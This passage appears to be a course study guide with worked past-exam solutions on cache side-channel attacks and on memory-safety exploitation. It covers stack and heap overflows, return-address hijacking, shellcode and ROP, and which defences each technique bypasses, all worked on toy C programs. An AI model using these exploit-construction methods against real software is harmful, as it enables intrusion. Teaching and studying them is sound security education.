Step 4: Tabulate and correlate runs: Enumerate the attacker-controlled input values and tabulate the observed line set or miss count for each. Subtract what the attacker already knows (constant lines, lines of public indices like $\lfloor D/16 \rfloor$); the residual variation is a function of the secret: e.g. observing line $\lfloor ((B + D) \bmod 64)/16 \rfloor$ while sweeping D pins down B exactly (the run where the observed line jumps reveals $B \bmod 16$, the line number reveals $\lfloor B/16 \rfloor$). State precisely what is recovered: exact value, range, or one predicate bit.

Step 5: Propose a matching fix: Match the fix to the flagged instruction from Step 2:

- secret-dependent branch / loop bound → ***constant-time code***: fixed loop bounds, always execute both sides, select with arithmetic $r = b \cdot x + (1 - b) \cdot y$;
- secret-dependent array index → ***cache normalization***: preload (or flush) all possibly-used lines first, e.g. read `M[0]`, `M[16]`, `M[32]`, `M[48]`, so the cache footprint is identical for every secret.

Step 6: Assess speculation if asked: Under branch prediction, instructions on a mispredicted path may execute transiently and still fetch their lines into the cache — a ***reading gadget*** (a speculative overread only if the index is unbounded; a mod-guarded index cannot overread). But leakage additionally needs a ***transmitting gadget*** that encodes the loaded value into the cache state. Reading gadget alone discloses nothing; conclude accordingly.

Exam Variations & Traps

- **Variation 1 (Time-driven vs access-driven on the same program):** The professor swaps the attacker model and the answer flips. Under time-driven counting, colliding arrays can make the miss count *constant* for straight-line code (trap: do not claim leakage there), while a secret-dependent branch still leaks one bit via one extra miss. Under access-driven observation with no shared memory, the same program may leak nothing because

the same lines are always evicted; with shared memory the attacker can tell which array is resident. Always redo Step 3 for the stated model instead of reusing conclusions.

- **Variation 2 (Single-run boolean leak vs multi-run exact recovery):** Sometimes there is no attacker input (dasak18: only secrets A, B, C) — then one execution leaks at most a predicate (e.g. "B true causes one extra miss"). When the attacker controls an input D and may rerun (exam P8), the secret-dependent index $(B + D) \bmod 64$ sweeps across the lines as D varies, upgrading the leak from a range to the exact value of B. Adapt Step 4: without a knob, tabulate the branch cases; with a knob, sweep all its values.
- **Variation 3 (Wrong-fix trap: branchless vs preloading):** The fix must match the flagged instruction from Step 2. A branchless select $a \mathrel{+}= B \cdot A_1 + (1 - B) \cdot A_2$ fixes a secret-dependent *branch* but does nothing for a secret-dependent *array index*; preloading all lines fixes index leakage but not a secret-dependent loop bound. Answers proposing the mismatched fix lose points.
- **Variation 4 (Speculation sub-question with gadget reasoning):** A final part asks whether speculative execution leaks more. Expected two-part reasoning: transient loads on a mispredicted path can fill lines (and an unbounded index like `M[D]` with $D \geq 64$ is a speculative ***overread***, unlike the mod 64-guarded one), but without a ***transmitting gadget*** no extra information is disclosed. Trap: answering "Spectre, so yes it leaks" without separating reading gadget from transmitter. Note the exception: if a later instruction's index depends on a transiently loaded value (re-exam 2024 P7), the transmitter exists and speculation *does* leak more.

Guided Walkthrough (Learn the Method on One Question)

Problem: A system has a direct-mapped data cache (no instruction cache) of 512 bytes: 8 lines of 64 bytes each. Arrays `A` and `B` each hold 32 public entries of 4 bytes. `A[i]` maps to line $\lfloor i/16 \rfloor \in \{0, 1\}$, and `B` is placed so that `B[i]` maps to the *same* line $\lfloor i/16 \rfloor$: the two arrays collide on lines 0 and 1, so an `A`-block and a `B`-block can never be cached simultaneously. The scalars `u`, `v`, `r`, `q` share one 64-byte block mapped to line 2. `u` is secret with $0 \leq u < 32$; `v` is a secret boolean, $v \in \{0, 1\}$; `r` is a local variable; `q` is public and controlled by the attacker, $0 \leq q < 32$. The victim program is: (1) `r = 0`; (2) `r += A[u]`; (3) `if (v == 1) {` (4) `r += B[q]`; `} else {` (5) `r += A[q]`; `}`. The attacker runs a *time-driven* attack: the cache is empty before each execution, he may rerun the program with the same secrets and any `q` of his choice, and he measures total execution time, which grows strictly with the number of cache misses. (a) Explain why the program is not secure and state exactly which instructions leak. (b) Show how the attacker correlates the timings over his chosen `q` values, and state precisely what he learns about `v` and about `u`. (c) Rewrite the program in constant-time style so that the miss count no longer depends on the secrets, and verify that the count is the same for all `u`, `v`, `q`. Explain also why preloading both arrays is impossible here. (d) Suppose the CPU predicts the branch on line 3 and executes the not-taken side speculatively. Can the

attacker learn more about the secrets than in (b)? Justify using the notions of reading and transmitting gadgets.

Solution (every step explained, including WHY):

- *Applying Step 1 (map data to cache lines):* Line size 64 B with 4-byte entries gives $64/4 = 16$ entries per line — always redo this small division, it is the source of the '16' that appears everywhere. Hence `A[i]` and `B[i]` both sit in line $\lfloor i/16 \rfloor \in \{0, 1\}$, and because both arrays map to the *same* lines, the `A`-block and the `B`-block of a line evict each other: only one can be cached at a time. The scalars share line 2, which collides with nothing the program uses, so every first access to a scalar costs exactly one miss. Beginner note: drawing a tiny table (datum → line) before reading the program prevents almost all later mistakes.

- *Applying Step 2 (flag leaking instructions):* Apply the golden rule (leak requires a secret-dependent index, branch, or loop bound) to each line. Line 1 (`r = 0`) touches only the scalar line — constant, safe. Line 2 (`r += A[u]`) uses the secret `u` as an *array index*: leaking. Line 3 (`if (v == 1)`) is a *branch on the secret* `v`: it decides *whether* line 4 (`B[q]`) or line 5 (`A[q]`) executes, so the cache footprint of lines 4–5 depends on a secret even though the index `q` itself is public. Common mistake: dismissing line 3 because `q` is public — what leaks is *which block gets loaded*, not the index value.

- *Applying Step 3 (model the observation):* Time-driven model, cache empty at start: count misses line by line. Every run pays 1 miss for the scalar line (reading `r`, `u`, `v`, `q`) and 1 miss for `A[u]` (instruction 2), which loads the `A`-block of line $\lfloor u/16 \rfloor$. Now the branch decides the rest.

  - Case $v = 1$: `B[q]` needs the `B`-block of line $\lfloor q/16 \rfloor$. That block is *never* resident — the line is either cold or holds the (different) `A`-block — so it always misses. Total = 3 misses for every q.
  - Case $v = 0$: `A[q]` hits exactly when the `A`-block of line $\lfloor q/16 \rfloor$ is the one loaded by instruction 2, i.e. when $\lfloor q/16 \rfloor = \lfloor u/16 \rfloor$. Total = 2 misses if the lines match, else 3.

  The key skill is the hit test: a hit requires the *same block* (not just the same line number) to be resident.

- *Applying Step 4 (tabulate and correlate runs):* The attacker sweeps all $q \in \{0, \ldots, 31\}$ and records which runs are fast (2 misses). (i) If some value q^* is fast, then $v = 0$ (fast runs never occur when $v = 1$) and $\lfloor u/16 \rfloor = \lfloor q^*/16 \rfloor$, pinning `u` to the 16 candidates of that line. (ii) If *every* q gives 3 misses, then $v = 1$: were $v = 0$, the sweep would necessarily include a q in `u`'s line (the attacker tries indices in *both* lines), producing a fast run. Conclusion, stated precisely as the exam demands: v is recovered *exactly* in all cases; u is narrowed to its line (16 candidates) when $v = 0$ and stays completely unknown (32 candidates) when $v = 1$. Beginner note: direction (ii) is the one students forget — you must argue why the *absence* of fast runs also carries information.

- *Applying Step 5 (propose a matching fix):* The leak is a secret-dependent *branch*, so the matching fix is constant-time branchless code (not preloading): (1) `r = 0;` (2) `r += A[u];` (3) `t1 = B[q];` (4) `t2 = A[q];` (5) `r += v*t1 + (1-v)*t2;`. Verify

the miss count, because the exam asks for it: scalar line 1 miss; `A[u]` 1 miss; `B[q]` always 1 miss (its block is never resident); `A[q]` always 1 miss, because `B[q]` has just loaded the `B`-block of line $\lfloor q/16 \rfloor$ and the colliding `A`-block cannot coexist with it. Total = 4 misses for *every* u, v, q — timing is secret-independent. Multiplying by `v` is data-oblivious arithmetic, not a branch. Preloading is impossible here: `A` and `B` collide on lines 0–1, so no cache state can hold both arrays; that is why the branchless rewrite, not cache normalization, is the correct fix.

- *Applying Step 6 (assess speculation):* On a misprediction of line 3, the not-taken side executes transiently; its load (`B[q]` or `A[q]`) may fetch or evict lines but is never committed. Does this leak more? Check the two gadgets.
  - ***Reading gadget*** on a secret: absent — the only transiently executed index is the public `q`; the secret-indexed load `A[u]` is on the always-executed path and is not amplified by speculation.
  - ***Transmitting gadget***: absent — no access has an address depending on a transiently *read value*, so nothing encodes a secret into the cache state.

  Reading gadget plus transmitter are both required, so speculation can at worst perturb timings (a transient fetch costs an extra miss) but discloses nothing beyond part (b). Beginner note: structure the answer as these two explicit checks; "Spectre exists, so yes" scores zero.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam 2019-01-14 (HT2018), Part II, Problem 5

Problem: A system uses a shared data cache (no instruction cache) of 128 bytes: 2 lines, 64 bytes per line, directly mapped. Two arrays `M1` and `M2` consist of 16 entries of 4 bytes each; the entries of each array are allocated on the first cache line, and all other variables are allocated on the second line. Assume `C < 16` and that all variables are secret. The program is: `A = M1[C]; A += M2[C]; if B { A += M1[C] } else { A += M2[C] }`. (a) Can a *time-driven* attack (measuring execution time, assumed to depend only on the number of cache misses/hits) extract information about the variables? If yes, explain the attack and how to fix the program; if not, motivate why it is secure. (b) Same question for an *access-driven* attack (measuring which cache lines are evicted by the victim).
Solution:

- *Applying Step 1 (map lines):* Each array has $16 \times 4 = 64$ bytes = exactly one cache line, so all of `M1` and all of `M2` live on line 1: they collide and evict each other — only one array can be cached at a time. All scalars (`A`, `B`, `C`) sit together on line 2.
- *Applying Step 2 (flag leaks):* `A = M1[C]` and `A += M2[C]` use the secret `C` as an array index; `if B` is a branch on the secret `B`, deciding whether `M1[C]` or `M2[C]` is touched next. These are the candidate leak sources.
- *Applying Step 3 (time-driven simulation):* Cache empty, count misses. Reading `C`: 1 miss (scalar line 2). `A = M1[C]`: 1 miss (loads the `M1` block into line

1) — note this misses for *every* `C`, because the whole array is a single block. `A += M2[C]`: 1 miss (the `M2` block replaces `M1`). So far 3 misses, constant, as the sample solution stresses. Branch: if `B` is true, `A += M1[C]` needs the `M1` block again — it was evicted, so 1 extra miss (total 4); if `B` is false, `A += M2[C]` hits the resident `M2` block (total 3).

- *Applying Step 4 (conclusion for time-driven):* Execution time corresponds to 4 misses iff `B` is true and 3 misses iff `B` is false: the attack recovers `B` exactly (one bit). It reveals nothing about `C`: with one block per array, the miss count does not depend on which entry inside the block is read. Trap avoided: the secret index `C` looks dangerous, but here it changes nothing.

- *Applying Step 5 (matching fix):* The leak is the secret *branch*, so use the branchless select (the official fix): `A1 = M1[C]; A2 = M2[C]; A += B*A1 + (1-B)*A2;`. Both arrays are read unconditionally and multiplication by `B` is arithmetic, so every execution performs exactly the same misses (scalar line, `M1`, `M2`) regardless of `B`.

- *Applying Step 6 (access-driven part):* Access-driven attacker measuring evicted lines: *without* shared memory, no attack — the victim always touches lines 1 and 2 and always evicts the same lines, so the observation is secret-independent. *With* shared memory, the attacker can detect whether line 1 ends up holding `M1` or `M2` (e.g. by timing a reload of own colliding data), which reveals the branch outcome and hence `B`.

Answer: Time-driven: yes — one extra cache miss iff B is true, so B leaks; fix with A += B*M1[C] + (1-B)*M2[C] (branchless). Access-driven: no without shared memory (same lines always evicted); yes with shared memory (attacker sees whether M1 or M2 is cached, hence B).

Exam Practice: Exam 2025-10-20, Problem 8 (Side channels)

Problem: A system uses a data cache (no instruction cache) of 512 bytes: 8 lines, 64 bytes per line, directly mapped. Array `M` has 64 entries of 4 bytes: entries 0–15 map to cache line 1, 16–31 to line 2, 32–47 to line 3, 48–63 to line 4. `M` is public and `M[i] = i`. The initial values of `A`, `B`, `C` are secret; `D` is public and controlled by the attacker. All four variables are unsigned integers allocated in the same 64-byte block, mapped to cache line 5, and `A < 64`. Program: (1) `C = 0`; (2) `C += M[A]`; (3) `if (D < 64) {` (4) `C += M[D];` (5) `C += M[(B + D) mod 64];` }. The attacker can measure *which cache lines are accessed at least once* by a complete execution (access-driven), over multiple executions with the same `A`, `B`, `C`, `M` and all possible `D`. (8a) Explain why the program is insecure and which instructions leak. (8b) Explain why information leaks and how the attacker correlates executions to learn the initial values. (8c) Describe a fix. (8d) Does speculative execution (branch prediction) leak more?
Solution:

- *Applying Step 1 (map lines):* 4-byte entries and 64-byte lines give 16 entries per line, so `M[i]` sits in line $\lfloor i/16 \rfloor \in \{1, 2, 3, 4\}$; the scalars `A`, `B`, `C`, `D` share

one block on line 5; lines 6–8 are unused.

- *Applying Step 2 (flag leaks, part 8a):* Line 2, `C += M[A]`, has an index depending directly on the secret `A`. Line 5, `C += M[(B + D) mod 64]`, has an index depending on the secret `B` mixed with the attacker input `D`. Line 4 uses only the public `D` and cannot leak. So lines 2 and 5 leak information about `A` and `B` respectively.

- *Applying Step 3 (model the observation, part 8b):* Access-driven: the attacker flushes the cache before each run and records which lines are filled after execution. For `D < 64` the program touches line 5 (scalars, always) and the array lines $\lfloor A/16 \rfloor$, $\lfloor D/16 \rfloor$, $\lfloor ((B + D) \bmod 64)/16 \rfloor$. The sample solution's examples: $A = B = D = 0$ touches only line 1; $A = B = 16$, $D = 0$ touches only line 2.

- *Applying Step 4 (correlate runs):* The attacker knows $\lfloor D/16 \rfloor$ (own input) and ignores constant line 5. At $D = 0$ the third observed line equals $\lfloor B/16 \rfloor$: the line of the secret, i.e. its high bits. Increasing D slides $(B + D) \bmod 64$ across the entries, and the run where the observed line *jumps* reveals $B \bmod 16$, because the jump happens exactly when $B + D$ crosses a multiple of 16. Line number plus jump position together give the exact value of B (more precisely of $B \bmod 64$) — the official conclusion: "by variating `D`, the attacker can identify the exact value of `B`". The constant extra line $\lfloor A/16 \rfloor$ additionally reveals which line `A` lives in (16 candidates).

- *Applying Step 5 (fix, part 8c):* Cache normalization: preload (or flush) all array lines before the secret-dependent code, e.g. read `M[0], M[16], M[32], M[48]` at the beginning. Then all four lines are touched on every run, so the observed line set — and the timing — no longer depend on `A` or `B`.

- *Applying Step 6 (speculation, part 8d):* With branch prediction, when $D \geq 64$ the CPU may transiently execute the branch body, performing the loads `M[D]` and `M[(B + D) mod 64]` and filling their lines. Only the first is a speculative ***overread***: its index is unbounded, while the second is guarded by mod 64 and stays inside `M`. But neither creates a ***transmitting gadget***: no memory address depends on a transiently *loaded* value. A reading gadget without a transmitter means no additional information is disclosed.

Answer: Lines 2 and 5 leak; flushing before each run exposes lines floor(A/16) and floor((B+D) mod 64 / 16), and sweeping D recovers B exactly (and A's line). Fix: preload M[0], M[16], M[32], M[48]. Speculation adds nothing: reading gadget (unbounded M[D] can over-read) but no transmitting gadget.

Exam Practice: Re-exam 2024-12-17, Problem 7 (Side channels)

Problem: A system uses a *non-shared* data cache (no instruction cache) of 512 bytes: 8 lines, 64 bytes per line, directly mapped. Array `M` has 64 entries of 4 bytes: entries 0–15 map to cache line 1, 16–31 to line 2, 32–47 to line 3, 48–63 to line 4. `M` is public and `M[i] = i`. `A` and `B` are secret; `D` is public and controlled by the

attacker. `A`, `B`, `C`, `D` are unsigned integers in the same 64-byte block mapped to cache line 5, and `A < 64`. Program: (1) `int C = 0;` (2) `if (D < 64) {` (4) `C += M[(D + A)/2];` (5) `C += M[C] + B;` }. The attacker can measure *which cache lines are accessed* by each execution (access-driven), over multiple executions with the same `A`, `B`, `M` and all possible `D`. (7a) Why is the program insecure and which instructions leak? (7b) How does the attacker correlate executions to learn the initial values? (7c) Describe a fix. (7d) Does speculative execution leak more?
Solution:

- *Applying Step 1 (map lines):* As usual, 16 entries per line: `M[i]` sits in line $\lfloor i/16 \rfloor \in \{1, 2, 3, 4\}$, and the scalars share line 5. The cache is non-shared (so the attacker cannot place own data in it) and `M[i] = i` is public knowledge — both facts matter below.

- *Applying Step 2 (flag leaks, part 7a):* Instruction 4, `C += M[(D + A)/2]`, has an index depending on the secret `A`. Because `M[i] = i`, after instruction 4 we have `C = (D + A)/2`, so instruction 5, `C += M[C] + B`, *also* has a secret-dependent index — even though `C` looks like an innocent local variable. This indirect dependence (a secret flowing through a variable into a later index) is the trap of this problem.

- *Applying Step 3 (model the observation):* Access-driven: flush the cache, record touched lines per run. Line 5 (scalars) is always touched. Instructions 4 and 5 touch the *same* array line: $\lfloor ((D + A)/2)/16 \rfloor = \lfloor (D + A)/32 \rfloor$; call it l_D. So each run with `D < 64` reveals exactly one array line, l_D.

- *Applying Step 4 (correlate runs, part 7b):* At $D = 0$ the attacker immediately reads off $l_0 = \lfloor A/32 \rfloor$: since $A < 64$, this is the top bit of the 6-bit secret `A`. Then increase `D`: l_D stays equal to l_0 until $D+A$ crosses the next multiple of 32, and the first `D` with $l_D \neq l_0$ marks the exact position of `A` inside its 32-wide interval, so `A` is recovered *exactly* (the sample solution states the attacker learns $l_0 = \lfloor A/32 \rfloor$ and then finds A from the `D` where the line changes). Beginner note: the leak works because the attacker-controlled `D` shifts the secret-dependent index across a line boundary — the same 'knob' idea as in the walkthrough.

- *Applying Step 5 (fix, part 7c):* Prime the cache so everything is loaded before the secret-dependent access (official fix): `C = M[0]; C = M[16]; C = M[32]; C = M[48]; C = 0;` followed by the original code. Every run then touches all four array lines, so the observed line set is secret-independent.

- *Applying Step 6 (speculation, part 7d):* Yes — more leakage, unlike the previous exam instance. The attacker first learns `A` as above, then supplies a `D` equal to the offset between the base address of `M` and the variable `B`. If the branch is speculatively taken although $D \geq 64$, instruction 4 transiently computes an index $(D + A)/2$ pointing *at* `B`: a speculative ***overread*** (reading gadget) that loads `B` into `C`. Instruction 5 then accesses `M[C]` with `C` holding the secret `B`: a ***transmitting gadget*** encoding `B` into the cache state. Reading gadget *plus* transmitter, so `B` leaks.

Answer: Instructions 4 and 5 leak via l_D = floor((D+A)/32): D = 0 gives floor(A/32) and the first D with l_D different from l_0 pins A exactly. Fix: prime the cache by reading M[0], M[16], M[32], M[48] first. Speculation leaks more: a crafted D lets instruction 4 over-read B and instruction 5 transmits it.

For more practice, see past-exam instances: re-exam-problems-with-sample-solutions.pdf::7b

3 Question Type 3: Memory-safety vulnerability identification and exploit construction

Theory Background (Start Here if You Know Nothing)

A running program lives in a ***process address space*** divided into regions: the ***code*** region (the machine instructions, normally read-only), ***global data***, the ***heap*** (memory reserved at run time by `malloc` and released by `free`), and the ***stack***. The stack exists because every function call must remember where to continue when the function finishes: just before jumping into a called function, the CPU pushes the ***return address*** — the address of the next instruction of the caller — onto the stack. Each call also creates a ***stack frame*** holding the function's local variables and the ***saved frame pointer*** (a bookmark to the caller's frame). On the exam's usual model the stack grows toward lower addresses, so a frame contains, from high to low addresses: function arguments, saved return address, saved frame pointer, then local variables. Two facts do all the work in these problems: (i) an array write `a[i]` moves toward *higher* addresses as `i` grows, so writing past the end of a local array walks *upward* through the frame toward the saved return address; (ii) pointers are 4 or 8 bytes, and x86 stores multi-byte values ***little-endian***, meaning the least significant byte comes first: the address `0x4012b0` must be embedded in a payload as the byte sequence `b0 12 40 00`.

A ***memory-safety violation*** is any read or write outside the region an object legitimately occupies. The recurring bug classes, and *why* each one is wrong:

- ***Buffer overflow***: more bytes written than the destination holds. Caused by functions that never check the destination size: `gets` (reads a whole line, no limit), `strcpy`/`strcat` (copy until a NUL byte in the *source*), `sprintf`, `scanf`/`fscanf` with %s, and `memcpy(dst, src, len)` when `len` > `sizeof(dst)`.
- ***Buffer over-read***: more bytes read than the object holds. The exam favourite: `strcat(buffer, input)` on an *uninitialized* `buffer` — `strcat` must first find the terminating NUL of `buffer`, but an uninitialized local contains garbage left by earlier frames, so the scan runs out of bounds and may leak adjacent memory (the Heartbleed bug was an over-read).
- ***Use-after-free / dangling pointer***: a pointer used after `free`; the allocator may hand the same bytes to a new object, so attacker data is reinterpreted as the old object.
- ***Type confusion***: a wrong cast reinterprets an object as another type.
- ***Uninitialized memory*** and ***double free***: expose stale values or corrupt allocator metadata.

Why is a stack overflow so powerful? Because the CPU *trusts* the saved return address blindly: the `return` instruction simply pops whatever bytes sit in that slot and jumps there. This gives three escalation levels, in increasing distance from the buffer. (i) ***Adjacent-local overwrite***: the bytes just past the buffer belong to another local — an authentication flag or a pointer — so a few extra bytes change program logic without touching any control data. This is often the shortest attack and the one students forget: a canary never sees it. (ii) ***Return-address hijack***: fill the buffer, the intervening locals and the saved frame pointer, then overwrite the saved return address; on `return` the CPU jumps to an address of the attacker's choice, for example an existing privileged function in the binary (***code reuse***; ***return-oriented programming***, ROP, chains short existing instruction snippets called ***gadgets***). (iii) ***Shellcode injection***: the payload itself is machine code placed inside the overflowed buffer, and the return address is pointed back into the buffer. Shellcode must be ***position-independent*** (it runs correctly no matter what address it lands at, meaning it contains no hard-coded absolute addresses) and contain no NUL bytes if it travels through string functions; its goal is usually to invoke `execve`, the system call that replaces the current process with a chosen program such as `/bin/sh`. Injection requires an executable region and a known buffer address.

Defenses, and — this is what the exam actually tests — precisely which attack each one *misses*:

- ***Stack canary***: a random per-execution value placed between the locals and the saved frame pointer, checked just before `return`. A linear overflow cannot reach the return address without also overwriting the canary, so return-address hijacks are detected — but a canary does not protect adjacent locals, because a flag or pointer hijack happens before the check, and it guards the stack only, never the heap.
- ***NX / W⊕X*** (no page both writable and executable): the stack and heap can no longer be executed, so injected shellcode dies — but jumps to existing code survive (ret2func; ***ret2libc***, jumping to existing library functions such as `system()` instead of injected code; ROP), because those reuse bytes that are legitimately executable.
- ***ASLR*** (address-space layout randomization): randomizes base addresses. Stack-only ASLR preserves relative offsets inside the stack and leaves code and heap addresses fixed, so a payload living on the heap, or a jump to a fixed code address, is unaffected.
- ***Guard pages***: unmapped pages placed between regions that trap a linear overflow crossing the boundary; useless for an overflow that stays inside one frame.
- ***Safe APIs and languages***: bounded copies (`fgets`, `strncpy`, `snprintf`) and explicit length checks remove the overflow itself; memory-safe languages remove the whole bug class.

Putting it together, every exam instance is the same three-act play. Act 1: find the lines where attacker-controlled bytes or lengths reach a fixed-size object — and say *which region* (stack or heap) each line endangers. Act 2: draw the layout in address order, measure the distance in bytes from the buffer to the chosen target, and write the payload as filler plus a little-endian address. Act 3: for each named defense, do not ask "is it a good defense" but which memory region and which attack step it actually covers — that single question answers every canary/NX/ASLR/guard-page sub-question in this unit.

Theory Cheat-Sheet

- Frame layout (high → low): args, saved return address, saved frame pointer, locals; array writes go toward higher addresses, so overflows walk up toward the return address.
- Padding to reach the return address = buffer size + bytes of intervening locals + saved frame-pointer size. Payload = filler + target address in little-endian byte order.
- Canary is checked only at return: it never protects flags or pointers overwritten earlier in the frame, and never guards the heap.
- NX/W⊕X stops injected shellcode only; jumping to existing functions (ret2func, ret2libc, ROP) still works.
- Stack-only ASLR hides stack addresses but preserves relative offsets and does not move heap or code: heap payloads and fixed code targets survive.
- `strcat` on an uninitialized buffer over-reads while hunting for the NUL byte; `memcpy` copies NUL bytes, string functions stop at them.
- Fix pattern: bounded copy (`fgets`/`strncpy`/`snprintf`), explicit check `len` ≤ `sizeof(dst)`, initialize buffers, prefer a memory-safe language.

How to Identify

Use this scheme when the problem provides A short C program (5–15 lines) with attacker-controlled input (a `char*` from argv/stdin plus possibly an attacker-chosen length), containing a fixed-size stack buffer and/or a heap allocation, and one or more unsafe calls: `gets`, `strcpy`, `strcat`, `sprintf`, `fscanf` %s, or `memcpy` with an unchecked length. The problem often states the stack layout (grows down, order of locals, pointer size), mentions an existing target function at a known address or a secret/flag variable, and later sub-questions name defenses: stack canary, NX/W⊕X, ASLR (stack base only vs full), guard pages. and asks you to Identify the vulnerable lines and say why they are unsafe; construct a concrete attacker input that corrupts an adjacent local (flag/pointer), overwrites the saved return address to reach an existing function or injected shellcode (stating assumptions about executability and known addresses); then judge for each named defense whether it stops each attack and why, and propose a working countermeasure for any attack that survives. Look for keywords like: *"buffer overflow", "gets", "strcat", "strcpy", "memcpy", "memory safe", "stack", "return address", "shellcode", "inject", "stack canary", "guard page", "ASLR", "randomizing", "executable stack", "use after free", "control flow"*.

Algorithm: Trace the overflow into the layout, then match each defense to the attack it misses

Step 1: Locate unsafe operations: Scan for unbounded copies:

- `gets`, `strcpy`, `strcat`, `sprintf`, `scanf`/`fscanf` %s into a fixed buffer;
- `memcpy(dst, src, len)` with attacker-controlled `len` > `sizeof(dst)`;

- `strcat`/`strlen` on an uninitialized buffer (out-of-bounds read hunting for the NUL byte);
- pointer used after `free`, type-confusing casts, double free.

State for each flagged line *which* memory region (stack/heap/global) it endangers.

Step 2: Draw the memory layout: Write down the relevant region in address order using the stated conventions. Stack growing down: arguments, saved return address, saved frame pointer, then locals; record exact byte counts and the pointer size (4 or 8 bytes). Confirm which local sits adjacent to the overflowable buffer — the layout decides which attack is shortest. For heap bugs, note the allocation size and what object or metadata follows it.

Step 3: Pick the corruption target: Choose the weakest point:

- an adjacent local: flip an auth flag to nonzero, or retarget a data pointer so a later `strcmp` or write uses attacker bytes;
- the saved return address, reached with `buffer_size` + `intervening_locals` + `sizeof(saved_fp)` bytes of padding;
- heap metadata or an adjacent heap object;
- a dangling pointer via use-after-free.

Step 4: Construct the concrete input: Express the payload as a byte-count formula plus concrete bytes. Flag flip: `sizeof(buffer)` + 1 bytes with a nonzero last byte lands in the adjacent `int`. Return hijack: padding up to the saved return address, then the target address (e.g. the existing privileged function) in ***little-endian*** order, plus optional extra words that the target will read as arguments. Pointer retargeting: filler, then the address of the attacker's own buffer.

Step 5: Build the code-injection variant: State the required assumption explicitly (executable stack or heap). Place machine code (shellcode: position-independent, NUL-free, sets up `execve`) inside the attacker-controlled buffer, overwrite the saved return address with the buffer's own address, and on return the CPU jumps into the shellcode. State what you assume about knowing the buffer address (debugger, leaked pointer, no ASLR).

Step 6: Match each defense to the attack it misses: Evaluate per defense, per attack:

- stack canary (checked just before return): stops return-address overwrites, not adjacent-local corruption — the hijack happens before the check;
- NX/W⊕X: stops injected shellcode, not jumps to existing functions (ret2func/ROP);

- stack-base ASLR: hides stack addresses but preserves relative offsets and leaves heap/code addresses known — a heap-resident payload or fixed code target survives; full ASLR also randomizes libraries;
- guard pages: trap linear overflows crossing a region boundary, useless within a single frame.

Step 7: Propose the real fix: Replace unsafe calls with bounded APIs (`fgets`, `strncpy`, `strncat`, `snprintf`, or an explicit check `len` $\leq$ `sizeof(dst)`), initialize buffers before use, free once and NULL the pointer, add a canary for return-address protection, and prefer a memory-safe language. For each fix, name the original attack it kills.

Exam Variations & Traps

- **Variation 1 (Adjacent local overwrite instead of return address):** Some sittings ask for an input (other than the correct password) that makes the program take a privileged path; the shortest answer overflows a small buffer by one nonzero byte into an adjacent `int` auth flag — no return address needed. Trap: students only write the classic return-address smash and miss the shorter attack. A second variant retargets an adjacent `char*` so a later `strcmp(input, input)` trivially succeeds. Canaries stop neither, because the corruption happens before the canary check at return.
- **Variation 2 (Heap overflow mixed with uninitialized-buffer over-read):** One reexam mixes `memcpy(tmp, input, len)` with `len` > 32 (heap overflow), a stack overflow, and `strcat` on an uninitialized `buffer[32]` (out-of-bounds read while searching for the NUL byte). Adapt by analyzing each line separately and naming the affected region per line. Trap: forgetting that an uninitialized buffer has no NUL terminator, so the over-read occurs before any copying.
- **Variation 3 (Defense quiz with scope reversal (stack ASLR vs heap payload)):** Per-defense verdicts with a scope trap: randomizing only the stack base defeats a jump to a stack-resident shellcode buffer but *not* the same payload placed on the heap at a known address — stack randomization does not move the heap. Guard pages do not stop an intra-frame stack overflow but can detect a heap overflow past a buffer if placed between heap regions. For every defense, ask which memory region it actually protects.
- **Variation 4 (Shellcode vs return-to-existing-function):** Some sittings provide an existing target function so no injection is needed (jump to its known address); others demand injected code, which requires stating the executable-stack assumption and a known buffer address. Notation traps: the pointer size (4 vs 8 bytes) changes the padding length, and little-endian byte order matters when writing the address into the input.

Guided Walkthrough (Learn the Method on One Question)

Problem: A packet-processing daemon contains an existing function `spawn_console` at address `0x4011c8` that opens a privileged console. The code below is not memory safe (`packet` and `plen` are attacker-controlled, pointers are 8 bytes; the chunk returned by `malloc` stores `user` at offset 0 and the 8-byte function pointer `on_done` at offset 16; the stack grows down, and within the frame of `dispatch` the buffer `cmd` is the lowest local, with the saved frame pointer and the saved return address directly above it): `struct session { char user[16]; void (*on_done)(void); }; void enroll(char *packet, unsigned plen) { struct session *s = malloc(sizeof(struct session)); s->on_done = log_close; memcpy(s->user, packet, plen); /* Line A */ s->on_done(); /* Line B */ } void dispatch(char *packet, unsigned plen) { char cmd[24]; memcpy(cmd, packet, plen); /* Line C */ exec_cmd(cmd); /* Line D: unknown commands are ignored */ }` (a) Identify the vulnerable line(s) and explain why they are unsafe. (b) Give a value of `plen` and an input to `enroll` that makes the daemon execute `spawn_console`, without touching any return address. (c) Give a value of `plen` and an input to `dispatch` that redirects execution to `spawn_console` when `dispatch` returns, stating your byte layout and endianness. (d) Explain how the attacker could instead run injected code via `dispatch`, stating the required assumptions. (e) Does a stack canary stop attack (b)? Attack (c)? (f) Does NX (W⊕X) stop attack (d)? (g) Which of attacks (b), (c), (d) survive if only the stack base is randomized? (h) Propose a countermeasure that fixes the root cause.

Solution (every step explained, including WHY):

- *Applying Step 1: Locate unsafe operations:* Line A, `memcpy(s->user, packet, plen)`: `s->user` is a 16-byte heap field, but `plen` is attacker-controlled and never checked, so choosing `plen` > 16 is a heap overflow — and because `on_done` sits at offset 16 of the same chunk, the overflow can reach a *function pointer*. Line C, `memcpy(cmd, packet, plen)`: same pattern into a 24-byte *stack* buffer, so it is a stack overflow. Line B is not itself a memory error, but it is the escalation point: it calls whatever pointer the overflow installed — always check *who consumes* the corrupted data. Beginner trap: thinking `memcpy` is safe because it takes a length; the length only helps if someone validates it. Note also that unlike `strcpy`, `memcpy` copies NUL bytes, so addresses containing `0x00` survive delivery intact.

- *Applying Step 2: Draw the memory layout:* Heap chunk of `s`: `user` occupies offsets 0–15, `on_done` occupies offsets 16–23. Stack frame of `dispatch`, from high to low addresses: saved return address (8 bytes), saved frame pointer (8 bytes), then `cmd[24]` as the lowest local. Why this ordering matters: array writes from `memcpy(cmd, ...)` move toward *higher* addresses, so overflowing `cmd` hits the saved frame pointer first and the saved return address second. Without this picture you cannot compute any padding length — draw it every single time.

- *Applying Step 3: Pick the corruption targets:* For (b), the cheapest target is `on_done`: it lives exactly 16 bytes past the start of `user`, the hijack fires at the indirect call in Line B, and *no return address is involved at all* — which is exactly what sub-question (b) demands. For (c), the target is the saved return address, which sits $24 + 8 = 32$ bytes past the start of `cmd` (buffer plus saved frame pointer). Choosing the target *before* writing bytes is what keeps the arithmetic clean.

